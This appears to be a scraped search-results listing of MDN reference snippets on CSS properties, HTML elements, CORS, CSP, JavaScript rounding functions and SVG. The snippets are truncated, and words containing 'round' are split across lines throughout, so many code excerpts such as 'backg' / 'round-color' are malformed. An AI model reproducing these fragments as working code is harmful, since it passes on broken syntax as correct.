round-color: #ffc; border-color: #996; } .absolute { position: absolute; width: 150px; height: 350px; backg
round-color: #fdd; border-color: #900; opacity: 0.7; } .relative { position: relative; height: 80px; backg
round-color: #cfc; border-color: #696; opacity: 0.7; } #abs1 { top: 10px; left: 10px; } #rel1 { top: 30px; margin: 0px 50px 0px 50px; } #rel2 { top: 15px...
...; left: 20px; margin: 0px 50px 0px 50px; } #abs2 { top: 10px; right: 10px; } #sta1 { backg
round-color: #ffc; margin: 0px 50px 0px 50px; } ...
align-items - CSS: Cascading Style Sheets
syntax /* basic keywords */ align-items: normal; align-items: stretch; /* positional alignment */ /* align-items does not take left and right values */ align-items: center; /* pack items a
round the center */ align-items: start; /* pack items from the start */ align-items: end; /* pack items from the end */ align-items: flex-start; /* pack flex items from the start */ align-items: flex-end; /* pack flex items from the end */ /* baseline alignment */ align-items: baseline; align-items: first baseline; align-items: last baseline; /* overflow alignment (for positional alignment only) */ al...
...baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-items: center; /* can be changed in the live sample */ backg
round-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 { backg
round-color: #8cffa0; min-height: 30px; } #item2 { backg
round-color: #a0c8ff; mi...
...n-height: 50px; } #item3 { backg
round-color: #ffa08c; min-height: 40px; } #item4 { backg
round-color: #ffff8c; min-height: 60px; } #item5 { backg
round-color: #ff8cff; min-height: 70px; } #item6 { backg
round-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for="values">align-items: </label> <select id="v...
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
-moz-appearance: caret; -webkit-appearance: caret; } <div>lorem</div> firefox chrome safari edge checkbox-container div { color: black; -moz-appearance: checkbox-container; -webkit-appearance: checkbox-container; } <div>lorem</div> firefox the element is drawn like a container for a checkbox, which may include a prelighting backg
round effect under certain platforms.
... <div>lorem</div> safari media-volume-slider div{ color: black; -webkit-appearance: media-volume-slider; } <div>lorem</div> chrome safari media-volume-sliderthumb div{ color: black; -webkit-appearance: media-volume-slider-thumb; } <div>lorem</div> chrome safari media-controls-backg
round div{ color: black; -webkit-appearance: media-controls-backg
round; } <div>lorem</div> chrome safari media-controls-dark-bar-backg
round div{ color: black; -moz-appearance: media-controls-dark-bar-backg
round; -webkit-appearance: media-controls-dark-bar-backg
round; } <div>lorem</div> safari media-controls-full...
...screen-backg
round div{ color: black; -webkit-appearance: media-controls-fullscreen-backg
round; } <div>lorem</div> chrome safari media-controls-light-bar-backg
round div{ color: black; -moz-appearance: media-controls-light-bar-backg
round; -webkit-appearance: media-controls-light-bar-backg
round; } <div>lorem</div> safari media-current-time-display div{ color: black; -webkit-appearance: media-current-time-display; } <div>lorem</div> chrome safari media-time-remaining-display div{ color: black; -webkit-appearance: media-time-remaining-display; } <div>lorem</div> chrome safari menulist-text div { color: bl...
backdrop-filter - CSS: Cascading Style Sheets
because it applies to everything behind the element, to see the effect you must make the element or its backg
round at least partially transparent.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples css .box { backg
round-color: rgba(255, 255, 255, 0.3); border-radius: 5px; font-family: sans-serif; text-align: center; line-height: 1; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body { backg
round-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 1...
...66, 166), rgb(0, 0, 172)); backg
round-position: center center; backg
round-repeat: no-repeat; backg
round-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
<basic-shape> - CSS: Cascading Style Sheets
inset() inset( <shape-arg>{1,4} [
round <border-radius>]?
... the optional <border-radius> argument(s) define
rounded corners for the inset rectangle using the border-radius shorthand syntax.
... html <div></div> css div { width: 300px; height: 300px; backg
round: repeating-linear-gradient(red, orange 50px); clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); animation: 4s poly infinite alternate ease-in-out; margin: 10px auto; } @keyframes poly { from { clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); } to { clip-path: polygon(50% 30%, 100% 0%, 70% 50...
calc() - CSS: Cascading Style Sheets
notes the + and - operators must be sur
rounded by whitespace.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 usage with integers when calc() is used where an <integer> is expected, the value will be
rounded to the nearest integer.
...in this example, the css creates a banner that stretches across the window, with a 40-pixel gap between both sides of the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px; backg
round-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available space, without extruding past the edge of their container, while maintaining an appropriate margin.
clear - CSS: Cascading Style Sheets
suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="left">this paragraph clears left.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .left { border: 1px solid black; clear: left; } .black { float: left; margin: 0; backg
round-color: black; color: #fff; width: 20%; } .red { float: left; margin: 0; backg
round-color: pink; width:20%; } p { width: 50%; } clear: right html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="right">this paragraph clears right.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .right { border: 1px solid black; clear: right; } .black { float: right; margin: 0; backg
round-color: black; color: #fff; width:20%; } .red { float: right; margin: 0; backg
round-color: pink; width:20%; } p { width: 50%; } clear: both html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="both">this paragraph clears both.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .both { border: 1px solid black; clear: both; } .black { float: left; margin: 0; backg
round-color: black; color: #fff; width:20%; } .red { float: right; margin: 0; backg
round-color: pink; width:20%; } p { width: 45%; } specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
color - CSS: Cascading Style Sheets
the color css property sets the foreg
round color value of an element's text and text decorations, and sets the currentcolor value.
... accessibility concerns it is important to ensure that the contrast ratio between the color of the text and the backg
round the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page.
... color contrast ratio is determined by comparing the luminosity of the text and backg
round color values.
cross-fade() - CSS: Cascading Style Sheets
accessibility concerns browsers do not provide any special information on backg
round images to assistive technology.
...when using backg
round images, make sure the contrast in color is great enough that any text is legible over the image as well as if the images is missing.
...= <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples older syntax for cross-fade html <div class="crossfade"></div> css .crossfade { width: 300px; height: 300px; backg
round-image: -webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); backg
round-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification sta...
empty-cells - CSS: Cascading Style Sheets
the empty-cells css property sets whether borders and backg
rounds appear a
round <table> cells that have no visible content.
... values show borders and backg
rounds are drawn like in normal cells.
... hide no borders or backg
rounds are drawn.
font-smooth - CSS: Cascading Style Sheets
switching from subpixel rendering to antialiasing for light text on dark backg
rounds makes it look lighter.
...switching from subpixel rendering to antialiasing for light text on dark backg
rounds makes it look lighter.
... for those of you not on a macos system, here is a screenshot (the live version appears later on): html <p>without font smoothing</p> <p class="smoothed">with font smoothing</p> css html { backg
round-color: black; color: white; font-size: 3rem; } p { text-align: center; } .smoothed { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } result specifications not part of any standard.
linear-gradient() - CSS: Cascading Style Sheets
for this reason, linear-gradient() won't work on backg
round-color and other properties that use the <color> data type.
... examples gradient at a 45-degree angle body { width: 100vw; height: 100vh; } body { backg
round: linear-gradient(45deg, red, blue); } gradient that starts at 60% of the gradient line body { width: 100vw; height: 100vh; } body { backg
round: linear-gradient(135deg, orange 60%, cyan); } gradient with multi-position color stops this example uses multi-position color stops, with adjacent colors having the same color stop value, creating a striped effect.
... body { width: 100vw; height: 100vh; } body { backg
round: linear-gradient(to right, red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%); } more linear-gradient examples please see using css gradients for more examples.
mask - CSS: Cascading Style Sheets
sed as mask with a width and height of 50px */ mask: url(masks.svg#star) repeat-x; /* element within svg graphic used as horizontally repeated mask */ mask: url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke */ mask: url(masks.svg#star) exclude; /* element within svg graphic used as mask and combined with backg
round using non-overlapping parts */ /* global values */ mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask: url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */ url(masks.svg#circle) right / 16px repeat-y; /* element within svg graphic is used as a mask on the right-hand side with a width of...
...eat: no-repeatmask-position: centermask-clip: border-boxmask-origin: border-boxmask-size: automask-composite: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-position: refer to size of mask painting area minus size of mask layer image (see the text for backg
round-position)computed valueas each of the properties of the shorthand:mask-image: as specified, but with <url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.mask-clip: as...
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<bg-size> = [ <length-percentage> | auto ]{1,2} | cover | contain<repeat-style> = repeat-x | repeat-y | [ repeat | space |
round | no-repeat ]{1,2}<geometry-box> = <shape-box> | fill-box | stroke-box | view-box<compositing-operator> = add | subtract | intersect | exclude<masking-mode> = alpha | luminance | match-sourcewhere <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <url><length-percentage> = <length> | <percentage><shape-box> = <box> | margin-boxwhere...
offset-path - CSS: Cascading Style Sheets
<string> )<basic-shape> = <inset()> | <circle()> | <ellipse()> | <polygon()> | <path()><geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <length-percentage> = <length> | <percentage><fill-rule> = nonzero | evenodd<inset()> = inset( <length-percentage>{1,4} [
round <'border-radius'> ]?
...lygon points="993,245 993,190 1086,190 1086,300" fill="red" /> <path id="house" d="m900,190 l993,245 v201 a11,11 0 0,1 1004,190 h1075 a11,11 0 0,1 1086,201 v300 l1294,423 h1216 a11,11 0 0,0 1205,434 v789 a11,11 0 0,1 1194,800 h606 a11,11 0 0,1 595,789 v434 a11,11 0 0,0 584,423 h506 l900,190" fill="none" stroke="black" stroke-width="13" stroke-linejoin="
round" stroke-linecap="
round" /> <path id="firstscissorhalf" class="scissorhalf" d="m30,0 h-10 a10,10 0 0,0 -20,10 a20,20 0 1,1 -40,-10 h20 a10,10 0 0,1 30,0 m-40,20 a10,10 1 0,0 -40,0 a10,10 1 0,0 -40,20 m0,0" transform="translate(0,0)" fill="green" stroke="black" stroke-width="5" stroke-linejoin="
round" stroke-linecap="
round" f...
...ill-rule="evenodd" /> <path id="secondscissorhalf" class="scissorhalf" d="m30,0 h-10 a10,10 0 0,1 -20,-10 a20,20 0 1,0 -40,10 h20 a10,10 0 0,0 30,0 m-40,-20 a10,10 1 0,0 -40,0 a10,10 1 0,0 -40,-20 m0,0" transform="translate(0,0)" fill="forestgreen" stroke="black" stroke-width="5" stroke-linejoin="
round" stroke-linecap="
round" fill-rule="evenodd" /> </svg> css .scissorhalf { offset-path: path('m900,190 l993,245 v201 a11,11 0 0,1 1004,190 h1075 a11,11 0 0,1 1086,201 v300 l1294,423 h1216 a11,11 0 0,0 1205,434 v789 a11,11 0 0,1 1194,800 h606 a11,11 0 0,1 595,789 v434 a11,11 0 0,0 584,423 h506 l900,190'); animation: followpath 4s linear infinite; } @keyframes followpath { to { motion-offset: 100%; of...
outline-offset - CSS: Cascading Style Sheets
description an outline is a line that is drawn a
round an element, outside the border edge.
...in other words, it is the same as the parent element's backg
round.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; backg
round: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
radial-gradient() - CSS: Cascading Style Sheets
syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green */ radial-gradient(circle at center, red 0, blue, green 100%) values <position> the position of the gradient, interpreted in the same way as backg
round-position or transform-origin.
...for this reason, radial-gradient() won't work on backg
round-color and other properties that use the <color> data type.
... examples simple gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { backg
round-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); } non-centered gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { backg
round-image: radial-gradient(farthest-corner at 40px 40px, #f35 0%, #43e 100%); } more radial-gradient examples please see using css gradients for more examples.
repeating-radial-gradient() - CSS: Cascading Style Sheets
for this reason, repeating-radial-gradient() won't work on backg
round-color and other properties that use the <color> data type.
... gradient near the top left of its container, starting red, changing to green and back again, repeating five times between the center and the bottom right corner, and only once between the center and the top left corner */ repeating-radial-gradient(farthest-corner at 20% 20%, red 0, green, red 20%); values <position> the position of the gradient, interpreted in the same way as backg
round-position or transform-origin.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples black and white gradient <div class="radial-gradient"></div> .radial-gradient { width: 120px; height: 120px; } .radial-gradient { backg
round: repeating-radial-gradient(black, black 5px, white 5px, white 10px); } farthest-corner <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { backg
round: repeating-radial-gradient(ellipse farthest-corner at 20% 20%, red, black 5%, blue 5%, green 10%); backg
round: repeating-radial-gradient(ellipse farthest-corner at 20% 20%,...
rotate - CSS: Cascading Style Sheets
syntax /* keyword values */ rotate: none; /* angle value */ rotate: 90deg; rotate: 0.25turn; rotate: 1.57rad; /* x, y, or z axis name plus angle */ rotate: x 90deg; rotate: y 0.25turn; rotate: z 1.57rad; /* vector plus angle value */ rotate: 1 1 1 90deg; values angle value an <angle> specifying the angle to rotate the affected element through, a
round the z axis.
... x, y, or z axis name plus angle value the name of the axis you want to rotate the affected element a
round ("x", "y", or "z"), plus an <angle> specifying the angle to rotate the element through.
... vector plus angle value three <number>s representing an origin-centered vector that defines a line a
round which you want to rotate the element, plus an <angle> specifying the angle to rotate the element through.
matrix3d() - CSS: Cascading Style Sheets
ate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { backg
round: rgba(90,90,90,.7); transform: translatez(50px); } .back { backg
round: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(210,210,0,.7); transform: rotatex(90deg) ...
...translatez(50px); } .bottom { backg
round: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } result matrix translation and scale example another transform3d() example, which implements an animated combined translate and scale.
...</div> css html { width: 100%; } body { height: 100vh; /* centering content */ display: flex; flex-flow: row wrap; justify-content: center; align-content: center; } .foo { width: 50%; padding: 1em; color: white; backg
round: #ff8c66; border: 2px dashed black; text-align: center; font-family: system-ui, sans-serif; font-size: 14px; /* setting up animation for better demonstration */ animation: motionscale 2s alternate linear infinite; } @keyframes motionscale { from { /* identity matrix is used as basis here.
<url> - CSS: Cascading Style Sheets
urls can be used in numerous css properties, such as backg
round-image, cursor, and list-style.
...it may be written without quotes, or sur
rounded by single or double quotes.
... <a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner { backg
round: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status comment css values and units module level 4the definition of '<url>' in that specification.
CSS: Cascading Style Sheets
get started tutorials our css learning area features multiple modules that teach css from the g
round up — no previous knowledge required.
...this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backg
rounds and borders, debugging, and lots more.
...we
round off the module by looking at applying custom fonts to your page, and styling lists and links.
Event reference
mozrotategesturestart addons specific two touch points start to rotate a
round a point.
... mozrotategestureupdate addons specific two touch points rotate a
round a point (after a mozrotategesturestart).
... mozrotategesture addons specific two touch points rotate a
round a point (after a sequence of mozrotategestureupdate).
HTML5 - Developer guides
performance and integration web workers allows delegation of javascript evaluation to backg
round threads, allowing these activities to prevent slowing down interactive events.
... new backg
round styling features it is now possible to put shadows on elements using box-shadow, multiple backg
rounds, and css filters.
... more fancy borders not only it is now possible to use images to style borders, using border-image and its associated longhand properties, but
rounded borders are supported via the border-radius property.
A hybrid approach - Developer guides
this hybrid approach centers a
round breaking down mobile development into its three goals, and then applying the best techniques available to tackle each goal individually.
... it can’t hurt to dig down and ask yourself which axis you are actually looking to adjust your content a
round.
... approaches to mobile web development see the following articles for backg
round and other approaches to developing for mobile platforms.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
note: the common use of a triangle which rotates or twists a
round to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states.
... css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em; backg
round-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; } details > p { border-radius: 0 0 10px 10px; backg
round-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where clicking the tab opens it to reveal its contents.
... css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em; backg
round-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; list-style: none; } details > summary::-webkit-details-marker { display: none; } details > p { border-radius: 0 0 10px 10px; backg
round-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where activating the tab expands a...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
align the alignment of this element with respect to the sur
rounding context.
... frameborder the value 1 (the default) draws a border a
round this frame.
... the value 0 removes the border a
round this frame, but you should instead use the css property border to control <iframe> borders.
Standard metadata names - HTML: Hypertext Markup Language
theme-color: indicates a suggested color that user agents should use to customize the display of the page or of the sur
rounding user interface.
... the browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything from backg
round and foreg
rounds to form controls and scrollbars.
... only light indicates that the document only supports light mode, with a light backg
round and dark foreg
round colors.
Cross-Origin Resource Sharing (CORS) - HTTP
until browsers catch up with the spec, you may be able to work a
round this limitation by doing one or both of the following: change the server-side behavior to avoid the preflight and/or to avoid the redirect change the request such that it is a simple request that doesn’t cause a preflight if that's not possible, then another way is to: make a simple request (using response.url for the fetch api, or xmlhttprequest.responseurl) to determine what url the ...
... however, if the request is one that triggers a preflight due to the presence of the authorization header in the request, you won’t be able to work a
round the limitation using the steps above.
... and you won’t be able to work a
round it at all unless you have control over the server the request is being made to.
CSP: style-src - HTTP
examples violation cases given this csp header: content-security-policy: style-src https://example.com/ the following stylesheets are blocked and won't load: <link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> <style> #inline-style { backg
round: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the link header: link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet inline style attributes are also blocked: <div style="display:none">foo</div> as well as styles that are applied in javascript by setting the style attribute directly, or by se...
... content-security-policy: style-src 'unsafe-inline'; the above content security policy will allow inline styles like the <style> element, and the style attribute on any element: <style> #inline-style { backg
round: red; } </style> <div style="display:none">foo</div> you can use a nonce-source to only allow specific inline style blocks: content-security-policy: style-src 'nonce-2726c7f26c' you will have to set the same nonce on the <style> element: <style nonce="2726c7f26c"> #inline-style { backg
round: red; } </style> alternatively, you can create hashes from your inline styles.
... <style>#inline-style { backg
round: red; }</style> unsafe style expressions the 'unsafe-eval' source expression controls several style methods that create style declarations from strings.
Equality comparisons and sameness - JavaScript
even if your requirements involve having comparisons between two nan values evaluate to true, generally it is easier to special-case the nan checks (using the isnan method available from previous versions of ecmascript) than it is to work out how sur
rounding computations might affect the sign of any zeros you encounter in your comparison.
... math.atan2 math.ceil math.pow math.
round in some cases,it's possible for a -0 to be introduced into an expression as a return value of these methods even when no -0 exists as one of the parameters.
...since there is only one representation for 0 in the internal 32-bit integer type, -0 will not survive a
round trip after an inverse operation.
JavaScript modules - JavaScript
a backg
round on modules javascript programs started off pretty small — most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed.
...this can only be a good thing — browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side processing and extra
round trips.
... fortunately there are a number of ways to get a
round this.
Numbers and dates - JavaScript
round(), f
round(), trunc(),
rounding and truncation functions.
...le, the following code displays the number of days left in the current year: var today = new date(); var endyear = new date(1995, 11, 31, 23, 59, 59, 999); // set day and month endyear.setfullyear(today.getfullyear()); // set year to this year var msperday = 24 * 60 * 60 * 1000; // number of milliseconds per day var daysleft = (endyear.gettime() - today.gettime()) / msperday; var daysleft = math.
round(daysleft); //returns days left in the year this example creates a date object named today that contains today's date.
...then, using the number of milliseconds per day, it computes the number of days between today and endyear, using gettime and
rounding to a whole number of days.
Math.ceil() - JavaScript
the math.ceil() function always
rounds a number up to the next largest integer.
...(+value[1] + exp) : exp)); } // decimal
round if (!math.
round10) { math.
round10 = function(value, exp) { return decimaladjust('
round', value, exp); }; } // decimal floor if (!math.floor10) { math.floor10 = function(value, exp) { return decimaladjust('floor', value, exp); }; } // decimal ceil if (!math.ceil10) { math.ceil10 = function(value, exp) { return decimaladjust('ceil', value, exp); ...
... }; } })(); //
round math.
round10(55.55, -1); // 55.6 math.
round10(55.549, -1); // 55.5 math.
round10(55, 1); // 60 math.
round10(54.9, 1); // 50 math.
round10(-55.55, -1); // -55.5 math.
round10(-55.551, -1); // -55.6 math.
round10(-55, 1); // -50 math.
round10(-55.1, 1); // -60 // floor math.floor10(55.59, -1); // 55.5 math.floor10(59, 1); // 50 math.floor10(-55.51, -1); // -55.6 math.floor10(-51, 1); // -60 // ceil math.ceil10(55.51, -1); // 55.6 math.ceil10(51, 1); // 60 math.ceil10(-55.59, -1); // -55.5 math.ceil10(-59, 1); // -50 specifications specification ecmascript (ecma-262)the definition of 'math.ceil' in that specification.
Number.isSafeInteger() - JavaScript
a safe integer is an integer that can be exactly represented as an ieee-754 double precision number, and whose ieee-754 representation cannot be the result of
rounding any other integer to fit the ieee-754 representation.
... for example, 253 - 1 is a safe integer: it can be exactly represented, and no other integer
rounds to it under any ieee-754
rounding mode.
... in contrast, 253 is not a safe integer: it can be exactly represented in ieee-754, but the integer 253 + 1 can't be directly represented in ieee-754 but instead
rounds to 253 under
round-to-nearest and
round-to-zero
rounding.
Number.prototype.toExponential() - JavaScript
return value a string representing the given number object in exponential notation with one digit before the decimal point,
rounded to fractiondigits digits after the decimal point.
... if a number has more digits than requested by the fractiondigits parameter, the number is
rounded to the nearest number represented by fractiondigits digits.
... see the discussion of
rounding in the description of the tofixed() method, which also applies to toexponential().
Number.prototype.toPrecision() - JavaScript
return value a string representing a number object in fixed-point or exponential notation
rounded to precision significant digits.
... see the discussion of
rounding in the description of the number.prototype.tofixed() method, which also applies to toprecision().
...if the precision argument is a non-integer value, it is
rounded to the nearest integer.
Strict mode - JavaScript
the problem with with is that any name inside the block might map either to a property of the object passed to it, or to a variable in sur
rounding (or even global) scope, at runtime: it's impossible to know which beforehand.
... second, eval of strict mode code does not introduce new variables into the sur
rounding scope.
... in normal code eval("var x;") introduces a variable x into the sur
rounding function or the global scope.
JavaScript
this module gives you some fundamental backg
round knowledge about how client-side frameworks work and how they fit into your toolset, before moving on to tutorial series covering some of today's most popular ones.
... codepen codepen is another collaborative web development tool used as a live result playg
round.
... stackblitz stackblitz is another online playg
round/debugging tool, which can host and deploy full-stack applications using react, angular, etc.
MathML attribute reference - MathML
the attributes backg
round, color, fontfamily, fontsize, fontstyle, fontweight and xlink:href are deprecated.
... mathbackg
round all the backg
round color.
... symmetric <mo> if stretchy is true, this attribute specifies whether the operator should be vertically symmetric a
round the imaginary math axis (centered fraction line).
Media container formats (file types) - Web media technologies
see codecs used by webrtc for information about codecs commonly used for making webrtc calls, as well as browser compatibility information a
round codec support in webrtc.
... on the internet, perhaps the most common use of the mpeg file format is to contain layer_iii/mp3 sound data; the resulting files are the wildly popular mp3 file used by digital music devices a
round the world.
... while ogg has been a
round for a long time, it has never gained the wide support needed to make it a good first choice for a media container.
Add to Home screen - Progressive web apps (PWAs)
tapping this icon opens it up, but as a fullscreen app, you'll no longer see the browser ui a
round it.
... the fields needed for a2hs are as follows: backg
round_color: specifies a backg
round color to be used in some app contexts.
... the manifest for our sample app looks like this: { "backg
round_color": "purple", "description": "shows random fox pictures.
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like this: <p class="target" style="backg
round:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... <p class="target" style="backg
round:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... <p class="target" style="backg
round: lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha | backg
roundimage | backg
roundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation.
... value sourcegraphic | sourcealpha | backg
roundimage | backg
roundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... value sourcegraphic | sourcealpha | backg
roundimage | backg
roundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
<a> - SVG: Scalable Vector Graphics
svg's <a> element is a container, which means you can create a link a
round text (like in html) but also a
round any shape.
... @namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link a
round a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link a
round a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> <circle> </text> </a> </svg> /* as svg does not provide a default visual style for links, it's considered best practice to add some */ @namespace svg url(http://www.w3.org/2000/svg); /* necessary to select only svg <a> elements, and not also html’s.
... value type: <string> ; default value: none; animatable: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the backg
round).
SVG as an Image - SVG: Scalable Vector Graphics
many browsers support svg images in: html <img> or <svg> elements css backg
round-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
... css backg
rounds and borders module level 3the definition of 'svg within 'backg
round-image' css property' in that specification.
... candidate recommendation defines the usage of svg within the backg
round-image property.
Basic Transformations - SVG: Scalable Vector Graphics
translation it may be necessary to move an element a
round, even though you can position it with the according attributes.
... <svg width="40" height="50" style="backg
round-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> the example will render a rectangle, translated to the point (30,40) instead of (0,0).
... <svg width="40" height="50" style="backg
